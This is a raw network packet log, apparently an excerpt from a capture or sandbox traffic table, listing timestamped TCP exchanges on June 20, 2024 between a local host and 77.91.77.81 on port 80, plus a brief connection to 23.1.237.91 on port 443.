Jun 20, 2024 15:38:18.381736994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381771088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381803036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381803036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381804943 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381858110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381891966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381903887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381903887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381903887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381927013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.381941080 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.381963015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382026911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382026911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382095098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382128000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382153034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382163048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382179976 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382226944 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382251978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382385969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382390022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382425070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.382436991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.382503986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408621073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408680916 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408715963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408759117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408759117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408759117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408807993 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408843040 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408875942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408910036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.408919096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408919096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408919096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.408951044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.437305927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.437369108 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.438096046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438235998 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.438754082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438788891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438822985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438855886 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438872099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.438872099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.438872099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.438910007 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438944101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438977003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.438987970 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439011097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439027071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439027071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439045906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439079046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439112902 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439146042 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439157963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439157963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439157963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439181089 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439213037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439249992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439265013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439265013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439302921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439337969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439369917 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439369917 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439404964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439440966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439440966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439444065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439457893 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439477921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439512014 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439544916 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439562082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439562082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439562082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439579010 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439630985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439652920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439652920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439667940 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439677000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439702988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439737082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439769983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439781904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439781904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439781904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439805031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439821005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439838886 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439852953 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439873934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439907074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439939976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439974070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.439989090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439989090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.439989090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440006971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440041065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440073013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440084934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440084934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440084934 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440108061 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440130949 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440140963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440175056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440207005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440217972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440217972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440217972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440242052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440272093 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440277100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440310955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440332890 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440344095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.440387964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.440388918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468111038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468209028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468247890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468260050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468260050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468285084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468319893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468375921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468410015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468436003 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468436003 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468446970 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468477011 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468477011 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468506098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468555927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468579054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468614101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468650103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468669891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468669891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468704939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468714952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468740940 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468774080 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468780041 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468780041 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468812943 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468830109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468863010 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468880892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468918085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.468921900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468955994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.468991041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469006062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469006062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469024897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469074965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469075918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469079971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469114065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469137907 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469147921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469161987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469201088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469230890 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469237089 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469243050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469271898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469306946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469340086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469352961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469352961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469352961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469374895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469389915 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469408989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469434977 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469451904 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469472885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469486952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469502926 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469528913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469582081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469619036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469626904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469626904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469626904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469654083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469682932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469688892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469698906 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469723940 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469752073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469758987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469789028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469813108 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469819069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469849110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469860077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469883919 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469918013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469950914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.469963074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469963074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469963074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.469985962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470019102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470063925 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470063925 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470063925 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470072985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470108032 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470138073 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470143080 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470174074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470177889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470212936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470246077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470257998 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470257998 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470257998 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470283985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.470304012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.470408916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.495263100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495301962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495335102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495367050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.495369911 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495384932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.495424986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495434046 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.495434046 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.495460033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495495081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.495536089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.495536089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.520051003 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.520138025 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.521282911 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.521368980 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.522860050 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.522913933 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.522948980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.522967100 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.522967100 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523003101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523022890 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523036003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523068905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523119926 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523138046 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523150921 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523153067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523174047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523186922 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523221016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523252010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523268938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523272991 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523283005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523325920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523358107 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523390055 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523396969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523416042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523431063 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523451090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523483992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523518085 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523533106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523533106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523552895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523586988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523619890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523653030 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523668051 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523668051 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523668051 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523689985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523705006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523724079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523757935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523802042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523802042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523802042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.523854971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523921967 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523956060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.523988008 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524012089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524012089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524022102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524044991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524068117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524074078 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524127960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524162054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524168015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524168015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524197102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524230003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524262905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524276972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524276972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524276972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524296999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524331093 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524364948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524374008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524374008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524374962 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524399996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524432898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524465084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.524472952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524472952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524472952 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524507999 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.524527073 CEST	80	49718	77.91.77.81	192.168.2.5
